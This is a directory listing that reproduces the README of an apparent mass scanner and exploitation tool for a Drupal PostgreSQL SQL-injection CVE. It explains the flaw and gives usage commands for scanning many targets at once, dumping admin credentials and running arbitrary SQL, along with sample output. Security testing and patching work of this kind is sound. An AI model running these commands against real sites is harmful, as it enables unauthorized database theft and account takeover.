Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
drupal-jsonapi-sqli-scanner — Scanner: CVE-2026-9082 Drupal PostgreSQL SQLi via JSON:API — Python scanner for unauthenticated SQLi leading to RCE (CISA KEV) | Kitploit
Tools/GitHubGitHub/ridhinva/drupal-jsonapi-sqli-scanner
Vulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration TestingRed TeamingDatabase Security

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
ridhinva/drupal-jsonapi-sqli-scanner

drupal-jsonapi-sqli-scanner

Scanner: CVE-2026-9082 Drupal PostgreSQL SQLi via JSON:API — Python scanner for unauthenticated SQLi leading to RCE (CISA KEV)

View Repository
2112 days agoNot yet reviewed

CVE-2026-9082 Critical CISA KEV Affected Versions License

CVE-2026-9082 — Drupal PostgreSQL SQL Injection

Mass Scanner & Exploitation Tool

Unauthenticated SQL Injection in Drupal Core (PostgreSQL)
JSON:API filter array key injection via PDO placeholder name abuse


Overview

CVE-2026-9082 is a Highly Critical SQL injection vulnerability in Drupal Core affecting all PostgreSQL-backed sites running Drupal 8.0 through 11.3.9. Added to the CISA Known Exploited Vulnerabilities (KEV) catalog on 2026-05-22 — actively exploited in the wild.

Impact

SeverityCVSSAuth RequiredAttack Vector
Critical9.8+NoneHTTP (JSON:API)
  • Data exfiltration — extract databases, users, password hashes
  • Privilege escalation — create admin accounts, modify content
  • Remote code execution — in some configurations via pg_exec() or COPY ... PROGRAM

Affected Versions

StatusVersions
❌ VulnerableDrupal 8.0.0 → 11.3.9 (PostgreSQL backend)
✅ Fixed11.3.10, 11.2.12, 10.6.9, 10.5.10

How It Works

The flaw exists in core/modules/pgsql/src/EntityQuery/Condition.php. The translateCondition() method uses user-controlled array keys from JSON:API filter parameters to construct PDO placeholder names. PDO only parses [a-zA-Z0-9_] as placeholder names, so any suffix after ) becomes literal SQL injected into the query.

root@kitploit:~
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection

Features

  • ✅ Mass scanner — scan hundreds of targets concurrently
  • ✅ Single target mode — check individual Drupal sites
  • ✅ Time-based detection — pg_sleep() blind SQLi confirmation
  • ✅ Boolean-based detection — row count comparison
  • ✅ Version extraction — identify PostgreSQL version
  • ✅ Database info — extract current user and database name
  • ✅ Admin credential dump — username, email, password hash (uid=1)
  • ✅ Table listing — enumerate all public tables
  • ✅ Custom SQL queries — run any extraction query
  • ✅ Proxy support — route through Burp Suite or similar
  • ✅ Output to file — save mass scan results
  • ✅ Colored terminal output — easy to read results

Installation

Prerequisites

  • Python 3.8+
  • pip (Python package manager)

Install Dependencies

root@kitploit:~
# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082

# Install requirements
pip install requests

That's it! Only one dependency — requests.


Usage

🕵️ Check Single Target

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --check

📡 Mass Scan Multiple Targets

root@kitploit:~
python3 cve_2026_9082_scanner.py -f targets.txt

targets.txt format:

root@kitploit:~
https://target1.com
target2.com
192.168.1.100

🔓 Extract PostgreSQL Version

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --version

🗄️ Extract Database Info

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo

👤 Dump Admin Credentials (uid=1)

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --admin

📋 List All Tables

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --tables

💉 Custom SQL Query

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"

Save Results to File

root@kitploit:~
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt

Use Proxy (Burp Suite)

root@kitploit:~
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080

Customize Timing

root@kitploit:~
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10

# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60

Command Reference


Example Output

Vulnerable Target

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║          CVE-2026-9082 - Drupal PostgreSQL SQLi             ║
║       Mass Scanner + Exploitation Tool v1.0.0               ║
╚══════════════════════════════════════════════════════════════╝
  CISA KEV: Added 2026-05-22  |  Advisory: SA-CORE-2026-004

[*] Checking: https://vulnerable-drupal-site.com

[!!] VULNERABLE - https://vulnerable-drupal-site.com
      Method: time-based (+5.2s)
      Resource: node/article

Admin Credential Dump

root@kitploit:~
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...

References


⚠️ Disclaimer

This tool is for authorized security testing, educational purposes, and ethical research only.

Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.


Author

Ridhin V A (@ridhinva) — Bug bounty hunter & security researcher

Built because CISA KEV said it's being exploited in the wild. Patch your Drupal sites.

Download Tool
FlagDescription
-u, --urlSingle target URL
-f, --fileFile with targets (one per line)
-o, --outputSave scan results to file
--checkCheck if target is vulnerable
--versionExtract PostgreSQL version
--dbinfoExtract DB user and database name
--adminExtract Drupal admin credentials (uid=1)
--tablesList all database tables
--queryCustom SQL extraction query
--threadsThreads for mass scan (default: 20)
--timeoutHTTP request timeout (default: 30s)
--delaypg_sleep delay for detection (default: 5s)
--no-ssl-verifySkip TLS certificate verification
--proxyHTTP proxy (e.g., http://127.0.0.1:8080)
SourceLink
Drupal AdvisorySA-CORE-2026-004
CISA KEVCVE-2026-9082
Patch Commitea9524d9
NVD EntryCVE-2026-9082
DiscovererMichael Maturi